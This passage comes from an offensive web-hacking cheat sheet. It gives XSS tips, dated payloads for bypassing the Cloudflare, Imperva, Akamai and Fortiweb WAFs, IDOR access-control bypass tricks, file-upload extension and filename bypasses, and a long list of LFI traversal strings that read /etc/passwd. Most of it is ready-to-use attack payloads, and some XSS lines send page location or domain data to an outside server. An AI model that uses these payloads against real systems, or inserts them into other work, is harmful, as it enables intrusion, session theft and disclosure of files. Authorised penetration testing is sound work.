"onsearch",
"onseek",
"onseeked",
"onseeking",
"onselect",
"onselectionchange",
"onselectstart",
"onshow",
"onstalled",
"onstart",
"onstop",
"onstorage",
"onstoragecommit",
"onsubmit",
"onsuspend",
"onsynchrestored",
"ontimeerror",
"ontimeupdate",
"ontoggle",
"ontrackchange",
"ontransitionend",
"onunload",
"onurlflip",
"onuserproximity",
"onvolumechange",
"onwaiting",
"onwebkitanimationend",
"onwebkitanimationiteration",
"onwebkitanimationstart",
"onwebkitfullscreenchange",
"onwebkitfullscreenerror",
"onwebkittransitionend",
"onwheel"
```

### References

{% embed url="<https://xsshunter.com>" %}
Platform to hunt XSS vulnerabilities
{% endembed %}

{% embed url="<https://github.com/vkbiu/KNR-XSS-Payloads>" %}
XSS Payloads Repository
{% endembed %}

{% embed url="<https://github.com/terjanq/Tiny-XSS-Payloads>" %}
Tiny XSS Payloads
{% endembed %}


# XSS Tips

### Tips & Tricks

* `http(s)://` can be shortened to `//` or `/\\` or `\\`.
* `document.cookie` can be shortened to `cookie`. It applies to other DOM objects as well.
* alert and other pop-up functions don't need a value, so stop doing `alert('XSS')` and start doing `alert()`
* You can use `//` to close a tag instead of `>`.
* I have found that `confirm` is the least detected pop-up function so stop using `alert`.
* Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use `<script src=//14.rs>` instead of `<script src="//14.rs">`
* The shortest HTML context XSS payload is `<script src=//14.rs>` (19 chars)

{% embed url="<https://compart.com/en/unicode>" %}
UTF-8 to Unicode converter
{% endembed %}

### Awesome Encoding

| HTML       | Char | Numeric  | Description            | Hex    | CSS (ISO) | JS (Octal) | URL |
| ---------- | ---- | -------- | ---------------------- | ------ | --------- | ---------- | --- |
| `&quot;`   | "    | `&#34;`  | quotation mark         | u+0022 | \0022     | \42        | %22 |
| `&num;`    | #    | `&#35;`  | number sign            | u+0023 | \0023     | \43        | %23 |
| `&dollar;` | $    | `&#36;`  | dollar sign            | u+0024 | \0024     | \44        | %24 |
| `&percnt;` | %    | `&#37;`  | percent sign           | u+0025 | \0025     | \45        | %25 |
| `&amp;`    | \`&  | `&#38;`  | ampersand              | u+0026 | \0026     | \46        | %26 |
| `&apos;`   | '    | `&#39;`  | apostrophe             | u+0027 | \0027     | \47        | %27 |
| `&lpar;`   | (    | `&#40;`  | left parenthesis       | u+0028 | \0028     | \50        | %28 |
| `&rpar;`   | )    | `&#41;`  | right parenthesis      | u+0029 | \0029     | \51        | %29 |
| `&ast;`    | \*   | `&#42;`  | asterisk               | u+002A | \002a     | \52        | %2A |
| `&plus;`   | +    | `&#43;`  | plus sign              | u+002B | \002b     | \53        | %2B |
| `&comma;`  | ,    | `&#44;`  | comma                  | u+002C | \002c     | \54        | %2C |
| `&minus;`  | -    | `&#45;`  | hyphen-minus           | u+002D | \002d     | \55        | %2D |
| `&period;` | .    | `&#46;`  | full stop; period      | u+002E | \002e     | \56        | %2E |
| `&sol;`    | /    | `&#47;`  | solidus; slash         | u+002F | \002f     | \57        | %2F |
| `&colon;`  | :    | `&#58;`  | colon                  | u+003A | \003a     | \72        | %3A |
| `&semi;`   | ;\`  | `&#59;`  | semicolon              | u+003B | \003b     | \73        | %3B |
| `&lt;`     | <    | `&#60;`  | less-than              | u+003C | \003c     | \74        | %3C |
| `&equals;` | =    | `&#61;`  | equals                 | u+003D | \003d     | \75        | %3D |
| `&gt;`     | >    | `&#62;`  | greater-than sign      | u+003E | \003e     | \76        | %3E |
| `&quest;`  | ?    | `&#63;`  | question mark          | u+003F | \003f     | \77        | %3F |
| `&commat;` | @    | `&#64;`  | at sign; commercial at | u+0040 | \0040     | \100       | %40 |
| `&lsqb;`   | \[   | `&#91;`  | left square bracket    | u+005B | \005b     | \133       | %5B |
| `&bsol;`   | /    | `&#92;`  | backslash              | u+005C | \005c     | \134       | %5C |
| `&rsqb;`   | ]    | `&#93;`  | right square bracket   | u+005D | \005d     | \135       | %5D |
| `&Hat;`    | ^    | `&#94;`  | circumflex accent      | u+005E | \005e     | \136       | %5E |
| `&lowbar;` | \_   | `&#95;`  | low line               | u+005F | \005f     | \137       | %5F |
| `&grave;`  | \`   | `&#96;`  | grave accent           | u+0060 | \0060     | \u0060     | %60 |
| `&lcub;`   | {    | `&#123;` | left curly bracket     | u+007b | \007b     | \173       | %7b |
| `&verbar;` | \|   | `&#124;` | vertical bar           | u+007c | \007c     | \174       | %7c |
| `&rcub;`   | }    | `&#125;` | right curly bracket    | u+007d | \007d     | \175       | %7d |


# WAF Bypasses

The payloads are headed by the date of discovery of the bypass.

### Cloudflare

```csharp
//29-11-2021:
<img/src=x onError="`${x}`;alert(`XSS`);">

//26-11-2021:
-top['al\x65rt']('xss')-

//24-10-2021:
<svg onload=alert&#0000000040document.cookie)>

//06-10-2021:
";(a=alert,b=1,a(b))

//17-08-2021:
"<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >"

//04-08-2021:
%27%09);%0d%0a%09%09[1].find(alert)//

//22-05-2021:
"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

//12-04-2021:
<svg/onload=location/**/='https://your.server/'+document.domain>

//25-02-2021:
<svg onx=() onload=(confirm)(1)>

//25-01-2021:
<svg/onrandom=random onload=confirm(1)>

//11-01-2021:
<svg onload=alert%26%230000000040"1")>

//23-12-2020:
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>
```

### Imperva

```javascript
//24-02-2021:
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
```

### Akamai

```javascript
//28-09-2021:
"><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click

//13-12-2020:
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

//28-10-2018:
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
```

### Fortiweb

```javascript
//09-07-2019:
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
```


# Insecure Direct Object Reference (IDOR)

### Change HTTP method

```bash
GET /users/delete/123 -> 403
POST /users/delete/123 -> 200
```

### Change file extension

Try to change the extension of the endpoint that you have.

```bash
#Endpoint found
/users/password -> 401

#Endpoints to test
/users/password.json
/users/password.xml
```

### Convert request body

Convert the body of the request to array or to include a json on it.

```bash
#Original body
{"id":1}

#Bypasses
{"id":[1]}
{"id":{"id":1}}
```

### Test wildcards

Change the identifier of the request to a wildcard.

```bash
#Original request
/api/v1/userlist/user1

#Wildcard bypasses
/api/v1/userlist/*
```

### Check another version

Many API endpoints expose the version in the request, try to change it to use another older.

```bash
#Original request
/api/v3/user/user3

#Changed version of the same endpoint
/api/v2/user/user3
/api/v1/user/user3
```

### Missing Function Level Access Control (MFLAC)

```bash
GET /admin/profile -> 401
GET /ADMIN/profile -> 200
```

### Path Traversal Secondary Context

```bash
#Original request
POST /users/delete/123 -> 403

#Bypass
POST /users/delete/MY_ID/../123 -> 200
```

### HTTP Parameter Pollution

```
GET /api/v1/messages?user_id=ATACKER_ID&user_id=VICTIM_ID
GET /api/v1/messages?user_id=VICTIM_ID&user_id=ATACKER_ID
```

### References

{% embed url="<https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f>" %}
Burp Suite extension aimed at helping the penetration tester to detect authorization vulnerabilities
{% endembed %}

{% embed url="<https://portswigger.net/bappstore/f89f2837c22c4ab4b772f31522647ed8>" %}
Burp Suite extension that automatically repeats requests, with replacement rules and response diffing
{% endembed %}


# Insecure File Upload

## Defaults extensions

#### PHP

```bash
.php
.php2
.php3
.php4
.php5
.php7
.pht
.shtml
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
.htaccess
```

#### ASP

```
.asp
.aspx
.cer
.asa
.ashx
.asmx
.axd
.cshtm
.cshtml
.rem
.soap
```

#### JSP

```
.jsp
.jspx
.jsw
.jspf
.jsv
.wss
.do
.action
```

#### Perl

```
.pl
.pm
.cgi
.lib
```

#### Coldfusion

```
.cfm
.cfml
.cfc
.dbm
```

#### Flash

```
.swf
```

#### Erland Yaws Web Server

```
.yaws
```

## Bypasses

### Double extensions

```bash
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.png.php
file.png.Php5
file.php%00.png
file.php%0d%0a.png
file.php%0a.png
file.php\x00.png
```

### Null byte

```
file.php%00.gif
file.php\x00.gif
file.php%00.png
file.php\x00.png
file.php%00.jpg
file.php\x00.jpg
```

### Special characters

```bash
file.php......
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.pHp5....
file.%E2%80%AEphp.jpg
```

### Content-type Bypass

```bash
#Original name but different content-type
Content-Type: image/jpeg
Content-Type: image/gif
Content-Type: image/png
```

### Magic bytes

```bash
#Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a
GIF: GIF8
```

### Triple equal

```
/?file=shell.php    <-- Blocked
/?file===shell.php  <-- Bypassed
```

### Filename Vulnerabilities:

```bash
#Time-Based SQLi Payloads
poc.js'(select*from(select(sleep(20)))a)+'.extension

#LFI Payloads
image.png../../../../../../../etc/passwd

#XSS Payloads
'"><img src=x onerror=alert(document.domain)>.extension

#File Traversal
../../../tmp/lol.png

#Command Injection
; sleep 10;
```


# Local File Inclusion (LFI)

## Linux

### Linux - Check if vuln exists

```
..//etc/passwd
../..//etc/passwd
../../..//etc/passwd
../../../..//etc/passwd
../../../../..//etc/passwd
../../../../../..//etc/passwd
../../../../../../..//etc/passwd
../../../../../../../..//etc/passwd
..%2f/etc/passwd
..%2f..%2f/etc/passwd
..%2f..%2f..%2f/etc/passwd
..%2f..%2f..%2f..%2f/etc/passwd
..%2f..%2f..%2f..%2f..%2f/etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
%2e%2e//etc/passwd
%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd
%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
..%252fetc/passwd
..%252f..%252fetc/passwd
..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252f..%252fetcpasswd
..%252f..%252f..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
%252e%252e//etc/passwd
%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
..\/etc/passwd
..\..\/etc/passwd
..\..\..\/etc/passwd
..\..\..\..\/etc/passwd
..\..\..\..\..\/etc/passwd
..\..\..\..\..\..\/etc/passwd
..\..\..\..\..\..\..\/etc/passwd
..\..\..\..\..\..\..\..\/etc/passwd
..%255c/etc/passwd
..%255c..%255c/etc/passwd
..%255c..%255c..%255c/etc/passwd
..%255c..%255c..%255c..%255c/etc/passwd
..%255c..%255c..%255c..%255c..%255c/etc/passwd
..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd
..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd
%252e%252e\/etc/passwd
%252e%252e\%252e%252e\/etc/passwd..%5c/etc/passwd
..%5c..%5c/etc/passwd
..%5c..%5c..%5c/etc/passwd
..%5c..%5c..%5c..%5c/etc/passwd
..%5c..%5c..%5c..%5c..%5c/etc/passwd
..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
%2e%2e\/etc/passwd
%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd
%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd
%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd
..%c0%af/etc/passwd
..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd
%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd
%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd
..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd
..%c1%9c/etc/passwd
..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd
%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\/etc/passwd
%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c/etc/passwd
..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
